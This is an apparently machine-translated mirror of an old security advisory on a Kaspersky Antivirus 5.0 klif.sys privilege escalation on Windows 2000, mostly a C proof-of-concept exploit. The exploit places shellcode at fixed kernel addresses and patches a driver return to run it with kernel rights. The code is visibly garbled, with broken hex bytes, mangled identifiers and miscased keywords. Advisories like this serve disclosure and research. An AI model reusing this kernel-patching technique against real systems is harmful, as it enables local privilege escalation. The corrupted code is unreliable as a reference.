Kaspersky Antivirus Software klif. sys Privilege Escalation Vulnerability

Source: Internet
Author: User
Tags kaspersky antivirus
Affected Systems:
Kaspersky Labs Kaspersky Antivirus 5.0.335
Kaspersky Labs Kaspersky Antivirus 5.0.228
Kaspersky Labs Kaspersky Antivirus 5.0.227
Description:
--------------------------------------------------------------------------------

Kaspersky is a very popular anti-virus software.

A vulnerability exists in the Kaspersky Software Design on Microsoft Windows 2000. Local attackers may exploit this vulnerability to escalate their permissions.

The cause is that the Kaspersky kernel driver klif. sys does not correctly Discard high permissions. Attackers may exploit this vulnerability to execute arbitrary code with the system kernel permission.

<* Source: Ilya Rabinovich (info@softsphere.com)

Link: http://marc.theaimsgroup.com /? L =... 17777430401 & W = 2
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

// (C) by Ilya Rabinovich.

# Include <windows. h>

Puchar pcodebase = (puchar) 0xbe9372c0;

Pdword pjmpaddress = (pdword) 0xbe9372b0;

Puchar pkavrets [] = {(puchar) 0xbe935087, (puchar) 0xbe935046 };

Puchar pkavret;

Unsigned char code [] = {0x200, 0 x, 0 x, 0 x, // push 0 x
0x68, 0 x, 0x80, 0x93, 0xbe, // push <buffer address>-0xbe938000
0x6a, 0x00, // push 0
0xb8, 0x00,0x00,0x00,0x00, // mov eax, <getmodulefilenamea>-> + 13
0xff, 0xd0, // call eax
0x68, 0 x, 0x80, 0x93, 0xbe, // push <buffer address>
0 x, 0 x, 0 x, 0x93, 0xbe, // push <address of the notepad path>-0xbe938200
0xb8, 0x00,0x00,0x00,0x00, // mov eax, <lstrcmpia>-> + 30
0xff, 0xd0, // call eax
0x85, 0xc0, // test eax, eax
0x74,0x03, // je + 03
0xc2, 0x04,0x00, // retn 4
0x6a, 0x00, // push 0
0 x, 0 x, 0 x, 0x93, 0xbe, // push <address of the message string>-0xbe938400
0 x, 0 x, 0 x, 0x93, 0xbe, // push <address of the message string>-0xbe938400
0x6a, 0x00, // push 0
0xb8, 0x00,0x00,0x00,0x00, // mov eax, <messageboxa>-> + 58
0xff, 0xd0, // call eax
0xc2, 0x04,0x00 // retn 4
};

Unsigned char jmp_code [] = {0xff, 0x25, 0xb0, 0x72,0X93, 0xbe}; // jmp dword prt/
[0xbe9372b0]

//////////////////////////////////////// //////////////////////

Boolean loadexploitintokernelmemory (void ){

// Get function's addresses

Handle hkernel = getmodulehandle ("kernel32.dll ");
Handle huser = getmodulehandle ("user32.dll ");

Farproc pgetmodulefilenamea = getprocaddress (hkernel, "getmodulefilenamea ");
Farproc plstrcmpia = getprocaddress (hkernel, "lstrcmpia ");

Farproc pmessageboxa = getprocaddress (huser, "messageboxa ");

* (DWORD *) (code + 13) = (DWORD) pgetmodulefilenamea;
* (DWORD *) (code + 30) = (DWORD) plstrcmpia;
* (DWORD *) (code + 58) = (DWORD) pmessageboxa;

// Prepare our data into ring0-zone.

Pchar pnotepadname = (pchar) 0xbe938200;

Char temp_buffer [max_path];
Char * s;

Searchpath (null, "Notepad", ". EXE", sizeof (temp_buffer), temp_buffer, & S );

Lstrcpy (pnotepadname, temp_buffer );

Pchar pmessage = (pchar) 0xbe938400;

Lstrcpy (pmessage, "Notepad is running !!! Kav is vulnerable !!! ");

Memmove (pcodebase, code, sizeof (CODE ));

* Pjmpaddress = (DWORD) pcodebase;

Memmove (pkavret, jmp_code, sizeof (jmp_code ));

Return true;
}

//////////////////////////////////////// ///////////////////////

Void unloadexploitfromkernelmemory (){

Uchar retn_4 [] = {0xc2, 0x04,0x00 };

Memmove (pkavret, retn_4, sizeof (retn_4 ));

}

//////////////////////////////////////// /////////////////////////

Puchar getkavretaddress (void ){

// Check the retn 4 in the Kav 0xbe9334e1 function end
// Also, we check the Kav klif. sys existance.

Uchar retn_4 [] = {0xc2, 0x04,0x00 };

_ Try {

For (DWORD I = 0; I <sizeof (pkavrets)/sizeof (pkavrets [0]); I ++ ){

If (memcmp (pkavrets, Retn_4, sizeof (retn_4) = 0)
Return pkavrets;

}

}__ Handle T (exception_execute_handler) {MessageBox (null, "Kav is not/
Installed ", null, 0); return NULL ;}

MessageBox (null, "wrong Kav version. You need 5.0.227, 5.0.228 or 5.0.335 versions/
Kav ", null, 0); return NULL;
}

//////////////////////////////////////// /////////////////////////

Void main (void ){

Pkavret = getkavretaddress ();

If (null = pkavret)
Return;

If (! Loadexploit1_kernelmemory ())
Return;

Char temp_buffer [max_path];
Char * s;

Searchpath (null, "Notepad", ". EXE", sizeof (temp_buffer), temp_buffer, & S );

Process_information PI;

Startupinfo Si = {0 };
Si. cb = sizeof (SI );

CreateProcess (null, temp_buffer, null, null, false,
0, null, null, & Si, & PI );

Waitforsingleobject (PI. hprocess, infinite );

MessageBox (null, "Now you may start your own notepad instance to check this/
Exploit! "," Kav_exploiter ", 0 );

MessageBox (null, "close this window to stop exploitation", "kav_exploiter", 0 );

Unloadexploitfromkernelmemory ();
}

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Kaspersky Labs
--------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.kaspersky.com/

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.